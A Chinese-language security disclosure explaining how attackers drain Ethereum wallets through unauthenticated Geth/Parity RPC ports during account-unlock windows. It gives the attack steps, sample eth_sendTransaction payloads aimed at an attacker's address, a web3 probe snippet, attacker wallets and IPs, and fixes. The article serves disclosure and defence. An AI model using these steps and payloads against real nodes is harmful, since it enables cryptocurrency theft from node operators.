揭祕以太坊中潛伏多年的“偷渡”漏洞，全球黑客正在瘋狂偷幣

FLy_鵬程萬里發表於2018-06-18
黑客
作者：Hydra@BLOCKCHAIN SECURITY LAB

作者部落格：http://www.sec-lab.io/2018/03/21/ethereum-smuggling-vulnerability/

世界上有一群人，網際網路對於他們來說就是提款機。
是的，過去是，現在更是，因為電子貨幣的出現，他們提款的速度變得更瘋狂。
在2017年，我們的蜜罐監測到一起針對以太坊的全球大規模攻擊事件，我們將其命名為以太坊“偷渡”漏洞。
通過該漏洞，黑客可以在沒有伺服器許可權、沒有keystore密碼許可權的情況下，轉走錢包中的所有餘額。
而如此嚴重的漏洞，1年前就在reddit.com被曝光有黑客在利用，並且最早可追溯到2016年的2月14號就有黑客通過此漏洞竊取到比特幣：[連結地址]
近期也有中國的慢霧安全團隊揭露了這種攻擊手法：[連結地址]
在長達2年的時間裡，並沒有多少使用者關注到，以太坊也沒有進行鍼對性的防護措施，直到今日，以太坊的最新程式碼中依然沒有能夠抵禦這種攻擊。
因此我們決定將我們所掌握的詳細資料公佈給所有人，希望能促使以太坊的開發者承認並修復該漏洞。

漏洞成因

（以下的程式碼分析基於https://github.com/ethereum/go-ethereum的當前最新提交：commit b1917ac9a3cf4716460bd53a11db40384103e5e2）

以太坊目前最流行的節點程式（Geth/Parity ）都提供了RPC API，用於對接礦池、錢包等其他第三方程式。
預設情況下，節點的RPC服務是無需密碼就可以進行介面呼叫，官方實現的RPC API也並未提供設定RPC連線密碼的功能，因此，一旦將RPC埠暴露在網際網路，將會非常危險。
而我們所捕獲的以太坊“偷渡”漏洞，正是利用了以太坊預設對RPC不做鑑權的設計。

被攻擊的使用者，需要具備以下條件：

  1. 節點的RPC埠對外開放
  2. 節點的RPC埠可直接呼叫API，未做額外的鑑權保護（如通過nginx等方式進行鑑權保護）
  3. 節點的區塊高度已經同步到網路的最新高度，因為需要在該節點進行轉賬，如果未達到最高度，無法進行轉賬

當使用者對自己的錢包進行了解鎖（unlockAccount函式），在解鎖超時期間，無需再輸入密碼，便可呼叫RPC API的eth_sendTransaction進行轉賬操作。

漏洞的關鍵組成，由未鑑權的RPC API服務及解鎖賬戶後有一定的免密碼時間相結合，以下是解鎖賬戶的unlockAccount函式：

程式碼路徑：go-ethereum/internal/jsre/deps/api.go


通過函式的實現程式碼可見，解鎖賬戶的api允許傳入超時時間，預設超時為300秒，

真正進行解鎖的函式TimedUnlock實現如下：

程式碼路徑：go-ethereum/accounts/keystore/keystore.go


當傳入的超時大於0時，會發起一個協程進行超時處理，如果傳入的超時時間為0，則是永久不會超時，賬戶一直處於解鎖狀態，直到節點程式退出。

詳細的用法參考官方文件

攻擊手法揭祕

1.尋找對外開放以太坊RPC埠的伺服器，確認節點已經達到以太坊網路的最高區塊高度

黑客通過全球的埠服務掃描，發現RPC服務為以太坊的RPC介面時，呼叫eth_getBlockByNumber(‘last’, false)，獲取最新的區塊高度。

但是由於有些以太節點是以太坊的分叉幣，高度與以太坊的不一樣，因此黑客即使發現節點高度與以太坊的高度不一樣，也不會放棄攻擊。

2.呼叫eth_accounts，獲取該節點上的所有賬戶。

eth_accounts的請求將返回一個賬戶地址列表：[0x1834axxxxxxxxxxxxxxxxxxxxxxxxxxx, 0xa13jkcxxxxxxxxxxxxxxxxxxxxxxxxxxx,…… ]

3.呼叫eth_getBalance，查詢地址餘額。

這個過程黑客可在自己的伺服器完成以太坊的餘額查詢，因為以太坊的區塊鏈賬本資料庫是隨意公開獲取的。

有部分黑客沒有搭建以太坊的全節點，沒有自行查詢餘額，因此也會在被攻擊伺服器進行eth_getBalance操作。

4.持續呼叫轉賬操作，直到剛好使用者用密碼解鎖了錢包，完成非法轉賬操作的“偷渡”

黑客會構造eth_sendTransaction的轉賬操作，並填寫餘額、固定的手續費：

{“jsonrpc”:”2.0″,”id”:2,”method”:”eth_sendTransaction”,”params”:[{“from”:”受害者錢包地址1″,”gas”:”0x55f0″,”to”:”0xdc3431d42c0bf108b44cb48bfbd2cd4d392c32d6″,”value”:”0x112345fc212345000″}]}
{“jsonrpc”:”2.0″,”id”:2,”method”:”eth_sendTransaction”,”params”:[{“from”:”受害者錢包地址2″,”gas”:”0x55f0″,”to”:”0xdc3431d42c0bf108b44cb48bfbd2cd4d392c32d6″,”value”:”0x112345fc212345000″}]}
{“jsonrpc”:”2.0″,”id”:2,”method”:”eth_sendTransaction”,”params”:[{“from”:”受害者錢包地址3″,”gas”:”0x55f0″,”to”:”0xdc3431d42c0bf108b44cb48bfbd2cd4d392c32d6″,”value”:”0x112345fc212345000″}]}

其中的value的單位是以太的最小單位：wei，計算為以太的話需要除10的18次方：

>>> 0x112345fc212345000
19758522752314920960L
>>> 19758522752314920960L/1000000000000000000
19L

黑客會持續發轉賬操作，並定期監控餘額變化，更新轉賬的金額，直到使用者使用錢包，輸入密碼解鎖了錢包，此時錢包餘額會立即被轉走。

快速漏洞測試

安裝python的web3庫，然後連線RPC埠，發起請求，如果獲取到返回結果，便可能存在該漏洞。

參考[這裡]

from web3 import Web3, HTTPProvider, IPCProvider
web3 = Web3(HTTPProvider(‘http://ip:port’))
web3.eth.blockNumber

黑客解密及IOCs情報

黑客錢包

目前我們掌握了3個黑客的錢包收款地址，未轉走的賬戶餘額為2220萬美金：

[連結地址]，餘額為38,076 ETH（未統計erc20 token），最早進賬為2016-2-14，最新進賬為2018-3-21（當前還在持續入賬）

[連結地址]，餘額為321 ETH（未統計erc20 token），最早進賬為2016-8-10，最新進賬為2017-11-28。

[連結地址]，餘額為330 ETH（未統計erc20 token），最早進賬為2018-2-06，最新進賬為2018-3-20。

黑客攻擊源IP

146.0.249.87（德國黑森州法蘭克福） 162.251.61.133（加拿大） 190.2.133.114（庫拉索） 85.14.240.84（德國北萊茵）

目前大部分的黑客使用https://github.com/regcostajr/go-web3進行頻繁API請求，如果有看到大量user-agent為“Go-http-client/1.1”的POST請求時，請記錄下請求內容，確認是否為惡意行為。

緊急響應及修復建議

  1. 關閉對外暴露的RPC埠，如果必須暴露在網際網路，請使用鑑權：[連結地址]
  2. 藉助防火牆等網路防護軟體，封堵黑客攻擊源IP
  3. 檢查RPC日誌、web介面日誌，是否有異常大量的頻繁請求，檢查請求內容是否為eth_sendTransaction
  4. 等待以太坊更新最新程式碼，使用修復了該漏洞的節點程式

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